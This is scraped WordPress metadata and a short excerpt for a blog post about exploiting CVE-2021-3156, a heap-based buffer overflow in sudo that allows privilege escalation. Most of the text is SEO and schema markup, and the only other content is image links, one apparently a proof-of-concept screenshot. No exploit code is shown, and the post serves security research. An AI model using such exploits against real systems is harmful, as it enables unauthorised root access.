Key facts The CVE-2021-3156 vulnerability in sudo is an interesting heap-based buffer overflow condition that allows for privilege escalation on Linux and Mac systems, if the vulnerability is exploited successfully. The bug in sudo was disclosed by Qualys researchers on their blog\/website which you can find here. All relevant details are listed there. Further technical… Continue reading CVE-2021-3156 Sudo Heap-based buffer overflow exploit<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[23],"tags":[20,16,36,19,21,6,22,18],"class_list":["post-200","post","type-post","status-publish","format-standard","hentry","category-research","tag-binary-exploitation","tag-cve-2021-3156","tag-cve-2021-3156-exploit","tag-exploit-development","tag-heap-based-buffer-overflow","tag-linux","tag-mac","tag-research","entry"],"yoast_head":"CVE-2021-3156 Sudo Heap-based buffer overflow exploit - Cyber Security Notepad<\/title>\n<meta name=\"description\" content=\"cyber security, cyber security notepad, Windows, Linux, 0-day research, exploit development, tools, references, cyber, CVE-2021-3156\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<meta property=\"og:locale\" content=\"en_GB\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CVE-2021-3156 Sudo Heap-based buffer overflow exploit - Cyber Security Notepad\" \/>\n<meta property=\"og:description\" content=\"cyber security, cyber security notepad, Windows, Linux, 0-day research, exploit development, tools, references, cyber, CVE-2021-3156\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/\" \/>\n<meta property=\"og:site_name\" content=\"Cyber Security Notepad\" \/>\n<meta property=\"article:published_time\" content=\"2021-02-08T08:23:25+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-02-21T09:16:05+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.cybersecuritynotepad.com\/wp-content\/uploads\/2021\/02\/sudo_libc_ver.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/\"},\"author\":\"cybersecuritynotepad\",\"headline\":\"CVE-2021-3156 Sudo Heap-based buffer overflow exploit\",\"datePublished\":\"2021-02-08T08:23:25+00:00\",\"dateModified\":\"2022-02-21T09:16:05+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/\"},\"wordCount\":2637,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/wp-content\\\/uploads\\\/2021\\\/02\\\/sudo_libc_ver.png\",\"keywords\":[\"binary exploitation\",\"CVE-2021-3156\",\"CVE-2021-3156 exploit\",\"exploit development\",\"heap-based buffer overflow\",\"Linux\",\"Mac\",\"research\"],\"articleSection\":[\"Research\"],\"inLanguage\":\"en-GB\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/\",\"url\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/\",\"name\":\"CVE-2021-3156 Sudo Heap-based buffer overflow exploit - Cyber Security Notepad\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/wp-content\\\/uploads\\\/2021\\\/02\\\/sudo_libc_ver.png\",\"datePublished\":\"2021-02-08T08:23:25+00:00\",\"dateModified\":\"2022-02-21T09:16:05+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/#\\\/schema\\\/person\\\/7fd460a876c44ee288cb37cb33e1ed5e\"},\"description\":\"cyber security, cyber security notepad, Windows, Linux, 0-day research, exploit development, tools, references, cyber, CVE-2021-3156\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/#breadcrumb\"},\"inLanguage\":\"en-GB\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-GB\",\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/wp-content\\\/uploads\\\/2021\\\/02\\\/sudo_libc_ver.png\",\"contentUrl\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/wp-content\\\/uploads\\\/2021\\\/02\\\/sudo_libc_ver.png\",\"width\":643,\"height\":313},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/index.php\\\/2021\\\/02\\\/08\\\/cve-2021-3156-sudo-exploit\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CVE-2021-3156 Sudo Heap-based buffer overflow exploit\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/#website\",\"url\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/\",\"name\":\"Cyber Security Notepad\",\"description\":\"Cyber and Information Security News, Trends, Guides and Tools\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.cybersecuritynotepad.com\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-GB\"}]}<\/script>","yoast_head_json":{"title":"CVE-2021-3156 Sudo Heap-based buffer overflow exploit - Cyber Security Notepad","description":"cyber security, cyber security notepad, Windows, Linux, 0-day research, exploit development, tools, references, cyber, CVE-2021-3156","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"og_locale":"en_GB","og_type":"article","og_title":"CVE-2021-3156 Sudo Heap-based buffer overflow exploit - Cyber Security Notepad","og_description":"cyber security, cyber security notepad, Windows, Linux, 0-day research, exploit development, tools, references, cyber, CVE-2021-3156","og_url":"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/","og_site_name":"Cyber Security Notepad","article_published_time":"2021-02-08T08:23:25+00:00","article_modified_time":"2022-02-21T09:16:05+00:00","og_image":[{"url":"https:\/\/www.cybersecuritynotepad.com\/wp-content\/uploads\/2021\/02\/sudo_libc_ver.png","type":"","width":"","height":""}],"author":"admin","twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/#article","isPartOf":{"@id":"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/"},"author":"cybersecuritynotepad","headline":"CVE-2021-3156 Sudo Heap-based buffer overflow exploit","datePublished":"2021-02-08T08:23:25+00:00","dateModified":"2022-02-21T09:16:05+00:00","mainEntityOfPage":{"@id":"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/"},"wordCount":2637,"commentCount":0,"image":{"@id":"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/#primaryimage"},"thumbnailUrl":"https:\/\/www.cybersecuritynotepad.com\/wp-content\/uploads\/2021\/02\/sudo_libc_ver.png","keywords":["binary exploitation","CVE-2021-3156","CVE-2021-3156 exploit","exploit development","heap-based buffer overflow","Linux","Mac","research"],"articleSection":["Research"],"inLanguage":"en-GB","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/","url":"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/","name":"CVE-2021-3156 Sudo Heap-based buffer overflow exploit - Cyber Security Notepad","isPartOf":{"@id":"https:\/\/www.cybersecuritynotepad.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/#primaryimage"},"image":{"@id":"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/#primaryimage"},"thumbnailUrl":"https:\/\/www.cybersecuritynotepad.com\/wp-content\/uploads\/2021\/02\/sudo_libc_ver.png","datePublished":"2021-02-08T08:23:25+00:00","dateModified":"2022-02-21T09:16:05+00:00","author":{"@id":"https:\/\/www.cybersecuritynotepad.com\/#\/schema\/person\/7fd460a876c44ee288cb37cb33e1ed5e"},"description":"cyber security, cyber security notepad, Windows, Linux, 0-day research, exploit development, tools, references, cyber, CVE-2021-3156","breadcrumb":{"@id":"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/#breadcrumb"},"inLanguage":"en-GB","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/"]}]},{"@type":"ImageObject","inLanguage":"en-GB","@id":"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/#primaryimage","url":"https:\/\/www.cybersecuritynotepad.com\/wp-content\/uploads\/2021\/02\/sudo_libc_ver.png","contentUrl":"https:\/\/www.cybersecuritynotepad.com\/wp-content\/uploads\/2021\/02\/sudo_libc_ver.png","width":643,"height":313},{"@type":"BreadcrumbList","@id":"https:\/\/www.cybersecuritynotepad.com\/index.php\/2021\/02\/08\/cve-2021-3156-sudo-exploit\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.cybersecuritynotepad.com\/"},{"@type":"ListItem","position":2,"name":"CVE-2021-3156 Sudo Heap-based buffer overflow exploit"}]},{"@type":"WebSite","@id":"https:\/\/www.cybersecuritynotepad.com\/#website","url":"https:\/\/www.cybersecuritynotepad.com\/","name":"Cyber Security Notepad","description":"Cyber and Information Security News, Trends, Guides and Tools","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.cybersecuritynotepad.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-GB"}]}},"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.cybersecuritynotepad.com\/index.php\/wp-json\/wp\/v2\/posts\/200","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.cybersecuritynotepad.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.cybersecuritynotepad.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.cybersecuritynotepad.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.cybersecuritynotepad.com\/index.php\/wp-json\/wp\/v2\/comments?post=200"}],"version-history":[{"count":37,"href":"https:\/\/www.cybersecuritynotepad.com\/index.php\/wp-json\/wp\/v2\/posts\/200\/revisions"}],"predecessor-version":[{"id":311,"href":"https:\/\/www.cybersecuritynotepad.com\/index.php\/wp-json\/wp\/v2\/posts\/200\/revisions\/311"}],"wp:attachment":[{"href":"https:\/\/www.cybersecuritynotepad.com\/index.php\/wp-json\/wp\/v2\/media?parent=200"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.cybersecuritynotepad.com\/index.php\/wp-json\/wp\/v2\/categories?post=200"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.cybersecuritynotepad.com\/index.php\/wp-json\/wp\/v2\/tags?post=200"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"\"](\"https:\/\/www.cybersecuritynotepad.com\/wp-content\/uploads\/2021\/02\/sudo_libc_ver.png\")
<\/figure>\n\n\n\n![\"sudo-2021-3156-exploit-POC\"](\"https:\/\/www.cybersecuritynotepad.com\/wp-content\/uploads\/2021\/02\/sudo_POC2.png\")
<\/figure>\n\n\n\n